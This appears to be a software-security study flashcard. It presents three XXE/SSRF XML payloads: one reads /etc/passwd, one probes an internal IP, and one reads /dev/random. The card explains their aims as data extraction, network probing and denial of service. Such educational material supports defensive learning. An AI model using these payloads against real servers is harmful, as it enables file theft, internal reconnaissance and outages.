Review Note

Last Update: 04/27/2023 06:14 AM

Current Deck: Software Security

New Card (Unpublished)

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What are the following SSRF/XML/XXE attacks intending to do?

1. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY bar SYSTEM "file:///etc/passwd" >]> <foo>&bar;</foo>
2. <!ENTITY bar SYSTEM "https://192.168.1.1/private" >]>
3. <!ENTITY bar SYSTEM "file:///dev/random" >]>
1. extract data from local system (server)
2. probe internal network
3. DOS by reading endless stream